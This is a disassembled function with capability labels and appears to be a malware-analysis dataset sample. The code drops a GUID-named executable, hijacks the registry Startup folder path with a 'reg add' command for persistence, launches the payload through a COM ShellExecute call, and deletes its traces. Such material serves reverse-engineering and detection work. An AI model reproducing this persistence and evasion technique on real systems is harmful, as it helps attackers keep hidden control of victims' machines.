Function at 0x10003330
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Resolve function by parsing pe exports
Set registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x938
lea eax, [esp + 0x620]
push esi
push edi
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov esi, dword [sym.imp.ole32.dll_CoInitialize]
push 0
call esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x100033a0
movzx eax, byte [esp + 0x22]
push eax
movzx eax, byte [esp + 0x25]
push eax
movzx eax, byte [esp + 0x28]
push eax
movzx eax, word [esp + 0x2a]
push eax
movzx eax, word [esp + 0x2c]
push eax
push dword [esp + 0x2c]
push str._08X_04X_04x_02X_02X_02X
push 0x40
push 0x10225028
call fcn.10007e90
add esp, 0x24
call dword [sym.imp.ole32.dll_CoUninitialize]
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x628]
push 0x10225028
push eax
lea eax, [esp + 0x108]
push str._s_kpzs.exe
push eax
call edi
add esp, 0x10
lea eax, [esp + 0x520]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10003403
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetModuleFileName_failed___d_._n
call fcn.10007e40
add esp, 8
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0x520]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
lea eax, [esp + 0x520]
push eax
push str._skpzs.exe
push 0xffffffffffffffff
lea eax, [esp + 0x10c]
push 0x104
push eax
call fcn.10007e00
add esp, 0x14
lea eax, [esp + 0x100]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1000345f
push str.libcef.exe_not_found_in_the_current_directory._n
call fcn.10007e40
add esp, 4
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
lea eax, [esp + 0xf0]
mov dword [esp + 0xa8], 0x44
push eax
lea eax, [esp + 0xac]
xorps xmm0, xmm0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [esp + 0x120]
movlpd qword [esp + 0xcc], xmm0
push eax
push 0
movlpd qword [esp + 0xdc], xmm0
movlpd qword [esp + 0xe4], xmm0
movlpd qword [esp + 0xec], xmm0
movlpd qword [esp + 0xf4], xmm0
movlpd qword [esp + 0xfc], xmm0
movlpd qword [esp + 0x104], xmm0
movlpd qword [esp + 0x10c], xmm0
movaps xmmword [esp + 0x118], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1000350c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateProcess_failed___d_._n
call fcn.10007e40
add esp, 8
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret
push 0
call esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.ole32.dll_CoCreateGuid]
test eax, eax
jne 0x10003555
movzx eax, byte [esp + 0x22]
push eax
movzx eax, byte [esp + 0x25]
push eax
movzx eax, byte [esp + 0x28]
push eax
movzx eax, word [esp + 0x2a]
push eax
movzx eax, word [esp + 0x2c]
push eax
push dword [esp + 0x2c]
push str._08X_04X_04x_02X_02X_02X
push 0x40
push 0x10225028
call fcn.10007e90
add esp, 0x24
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x10225028
lea eax, [esp + 0x62c]
push eax
lea eax, [esp + 0x420]
push str._s_s.lnk
push eax
call edi
push 0
lea eax, [esp + 0x744]
push str.add__HKCUSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v_Startup__d___s___f
push eax
call edi
add esp, 0x1c
lea eax, [esp + 0x730]
lea ecx, [esp + 0x418]
push eax
call fcn.100030c0
add esp, 4
lea eax, [esp + 0x418]
push eax
lea eax, [esp + 0x20c]
push str.__s_
push eax
call edi
add esp, 0xc
lea eax, [esp + 0x100]
push eax
lea eax, [esp + 0x314]
push str.::20D04FE0_3AEA_1069_A2D8_08002B30309D_s
push eax
call edi
add esp, 0xc
mov dword [esp + 0x38], 0xc08afd90
mov dword [esp + 0x3c], 0x11d1f2a1
mov dword [esp + 0x40], 0xa0005584
mov dword [esp + 0x44], 0x80381fc9
push 0
mov dword [esp + 0x2c], 0xd30c1661
mov dword [esp + 0x30], 0x11d0cdaf
mov dword [esp + 0x34], 0xc0003e8a
mov dword [esp + 0x38], 0x6ee2c94f
mov dword [esp + 0x6c], 0
mov dword [esp + 0x70], 0
mov dword [esp + 0x74], 0
mov dword [esp + 0x78], 0
mov dword [esp + 0x10], 0
call esi
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x2c]
push eax
push 4
push 0
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1000395a
mov eax, dword [esp + 0xc]
mov dword [esp + 0x58], str.Document
mov eax, dword [eax]
mov esi, dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [esp + 0x10]
push ecx
push eax
push 1
lea eax, [esp + 0x64]
push eax
push 0x101a4554
push dword [esp + 0x20]
call esi
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
test eax, eax
js 0x10003920
lea eax, [esp + 0x48]
push eax
call esi
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x48]
push 0
push 0
push edx
mov eax, dword [ecx]
lea edx, [esp + 0x74]
push edx
push 2
push 0x400
push 0x101a4554
push dword [esp + 0x2c]
push ecx
call dword [eax + 0x18]
test eax, eax
js 0x10003920
mov edi, dword [esp + 0x50]
mov dword [esp + 0x5c], str.Application
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [esp + 0x10]
push ecx
push eax
push 1
lea eax, [esp + 0x68]
push eax
push 0x101a4554
push edi
call esi
test eax, eax
js 0x1000391a
lea eax, [esp + 0x48]
push eax
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [edi]
lea ecx, [esp + 0x48]
push 0
push 0
push ecx
lea ecx, [esp + 0x74]
push ecx
push 2
push 0x400
push 0x101a4554
push dword [esp + 0x2c]
push edi
call dword [eax + 0x18]
test eax, eax
js 0x1000391a
mov edi, dword [esp + 0x50]
mov dword [esp + 0x60], str.ShellExecute
mov eax, dword [edi]
mov esi, dword [eax + 0x14]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
lea ecx, [esp + 0x10]
push ecx
push eax
push 1
lea eax, [esp + 0x6c]
push eax
push 0x101a4554
push edi
call esi
test eax, eax
js 0x1000391a
mov eax, 8
lea ecx, [esp + 0x208]
mov word [esp + 0x88], ax
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003790
push 0
push 0
sub ecx, edx
lea eax, [esp + 0x210]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], eax
xor ecx, ecx
inc eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100080f2
lea ecx, [esp + 0x20c]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100037e0
push dword [esp + 0x14]
sub ecx, edx
lea eax, [esp + 0x20c]
push esi
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
xor ecx, ecx
push esi
mov word [esi + eax*2], cx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esp + 0x90], eax
lea ecx, [esp + 0x310]
mov eax, 8
lea edx, [ecx + 1]
mov word [esp + 0x98], ax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003830
push 0
push 0
sub ecx, edx
lea eax, [esp + 0x318]
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], eax
xor ecx, ecx
inc eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.100080f2
lea ecx, [esp + 0x314]
add esp, 4
mov esi, eax
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10003880
push dword [esp + 0x14]
sub ecx, edx
lea eax, [esp + 0x314]
push esi
push ecx
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
xor ecx, ecx
push esi
mov word [esi + eax*2], cx
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
push 0
push 0
lea ecx, [esp + 0x50]
mov dword [esp + 0xa8], eax
push ecx
lea ecx, [esp + 0x84]
mov dword [esp + 0x8c], 2
push ecx
push 1
lea eax, [esp + 0x9c]
mov dword [esp + 0x98], 0
push 0x400
mov dword [esp + 0x90], eax
lea eax, [esp + 0x7c]
push 0x101a4554
push dword [esp + 0x2c]
mov dword [esp + 0x9c], eax
mov eax, dword [edi]
push edi
mov dword [esp + 0x88], 0xfffffffd
call dword [eax + 0x18]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [esp + 0x48]
push eax
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x48]
push 0
push 0
push edx
mov ecx, dword [eax]
lea edx, [esp + 0x74]
push edx
push 1
push 0x400
push 0x101a4554
push 0x12e
push eax
call dword [ecx + 0x18]
mov eax, dword [esp + 0xc]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x100]
push eax
call esi
lea eax, [esp + 0x838]
push eax
call esi
lea eax, [esp + 0x418]
push eax
call esi
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret